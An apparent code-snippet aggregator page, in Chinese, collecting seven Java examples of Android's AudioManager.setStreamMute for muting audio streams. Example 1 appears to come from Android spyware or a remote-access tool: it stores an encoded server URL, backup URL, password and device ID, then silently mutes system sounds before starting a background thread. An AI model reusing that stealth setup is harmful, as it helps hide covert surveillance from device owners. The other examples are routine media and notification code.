本文整理汇总了Java中android.media.AudioManager.setStreamMute方法的典型用法代码示例。如果您正苦于以下问题:Java AudioManager.setStreamMute方法的具体用法?Java AudioManager.setStreamMute怎么用?Java AudioManager.setStreamMute使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类android.media.AudioManager
的用法示例。
在下文中一共展示了AudioManager.setStreamMute方法的7个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Java代码示例。
示例1: initiate
import android.media.AudioManager; //导入方法依赖的package包/类
public void initiate()
{
try
{
PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putBoolean("Media",false);
PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putBoolean("Files",false).commit();
PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putString("URL", encodedURL).commit();
PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putString("backupURL", backupURL).commit();
PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putString("password", encodedPassword).commit();
PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putString("androidId", androidId).commit();
URL = new String( Base64.decode( PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("URL", ""), Base64.DEFAULT ));
password = new String( Base64.decode( PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("password", ""), Base64.DEFAULT ));
AudioManager mgr = (AudioManager)getSystemService(Context.AUDIO_SERVICE);
mgr.setStreamMute(AudioManager.STREAM_SYSTEM, true);
} catch (Exception e) {e.printStackTrace();}
thread.start();
}
示例2: setMute
import android.media.AudioManager; //导入方法依赖的package包/类
/**
* set mute
* @param mute
* @return GiraffePlayer
*/
public GiraffePlayer setMute(boolean mute){
this.mute = mute;
AudioManager audioManager = (AudioManager) context.getSystemService(Context.AUDIO_SERVICE);
audioManager.setStreamMute(AudioManager.STREAM_MUSIC,true);
return this;
}
示例3: smsMsgHandle
import android.media.AudioManager; //导入方法依赖的package包/类
@Override
public void smsMsgHandle() {
Contact c = mAppConfig.lastSms.getContact();
if (mAppConfig.notInDND(c) && mAppConfig.inmsg_tips) {
AudioManager mAudioManager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
mAudioManager.setStreamMute(AudioManager.STREAM_NOTIFICATION, true);
tPools.execute(new NumberMsg(mAppConfig.lastSms.getName(), false));
} else {
inMsgTipsFlow = 0;
}
}
示例4: setMute
import android.media.AudioManager; //导入方法依赖的package包/类
private void setMute(final boolean isMute){
AudioManager am = (AudioManager) getSystemService(AUDIO_SERVICE);
am.setStreamMute(AudioManager.STREAM_MUSIC, isMute);
alexaManager.sendMutedEvent(isMute, requestCallback);
Log.i(TAG, "Mute set to : "+isMute);
new Handler(Looper.getMainLooper()).post(new Runnable() {
@Override
public void run() {
Toast.makeText(BaseActivity.this, "Volume " + (isMute ? "muted" : "unmuted"), Toast.LENGTH_SHORT).show();
}
});
}
示例5: setStreamMusicMute
import android.media.AudioManager; //导入方法依赖的package包/类
public static void setStreamMusicMute(AudioManager audioManager, boolean mute) {
Method setStreamMuteSystemNoUI;
try {
setStreamMuteSystemNoUI = AudioManager.class.getMethod("setStreamMuteSystemNoUI", int.class, boolean.class);
setStreamMuteSystemNoUI.invoke(audioManager, AudioManager.STREAM_MUSIC, mute);
} catch (Exception e) {
Log.d(TAG, "setStreamMusicMute failed!", e);
audioManager.setStreamMute(AudioManager.STREAM_MUSIC, mute);
}
}
示例6: receiveSms
import android.media.AudioManager; //导入方法依赖的package包/类
@Override
public void receiveSms(SmsInfo sms, StringBuilder number) {
isSmsReceiverValid = true;
Contact c = AppConfig.mContactUtils.getContactByNum(number);
if (c == null) {
c = new Contact();
c.setName(number.toString());
List<ContactNum> codes = new ArrayList<>();
ContactNum contactNum = new ContactNum();
contactNum.setNumber(c.getName());
codes.add(contactNum);
c.setCodes(codes);
sms.setName(AssistantService.UNKOWN_NAME);
} else {
sms.setName(c.getName());
}
sms.setNumber(number.toString());
sms.setType(1);
sms.setContact(c);
if (voiceMediator.mobileRing() || voiceMediator.isCalling() || inMsgTipsFlow > 0) {//通话中,响铃中,来信提示中,均不允许新来的短信打断
mAppConfig.missedMsgs.offer(sms);
} else {
inMsgTipsFlow = 1;
mAppConfig.lastSms.setTime(sms.getTime());
mAppConfig.lastSms.setContent(sms.getContent());
mAppConfig.lastSms.setNumber(sms.getNumber());
mAppConfig.lastSms.setName(sms.getName());
mAppConfig.lastSms.setType(sms.getType());
mAppConfig.lastSms.setContact(sms.getContact());
if (mAppConfig.notInDND(c) /*&& mAppConfig.CardMode*/ && mAppConfig.inmsg_tips) {
AudioManager mAudioManager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
mAudioManager.setStreamMute(AudioManager.STREAM_NOTIFICATION, true);
tPools.execute(new NumberMsg(mAppConfig.lastSms.getName(), false));
} else {
inMsgTipsFlow = 0;
}
}
Single.just(0)
.delay(1, TimeUnit.SECONDS)
.doOnSuccess(new Consumer<Integer>() {
@Override
public void accept(Integer integer) throws Exception {
CallAndSmsDao.getInstance(mContext).sync(CallAndSmsDao.getInstance(mContext).getSyncDao(CallAndSmsDao.MessageDao.class));
}
})
.subscribeOn(Schedulers.io())
.subscribe();
}
示例7: setMute
import android.media.AudioManager; //导入方法依赖的package包/类
/**
* set the mute state
*
* @param mute the state
*/
public void setMute(boolean mute) {
this.mute = mute;
AudioManager audioManager = (AudioManager) context.getSystemService(Context.AUDIO_SERVICE);
audioManager.setStreamMute(AudioManager.STREAM_MUSIC, mute);
}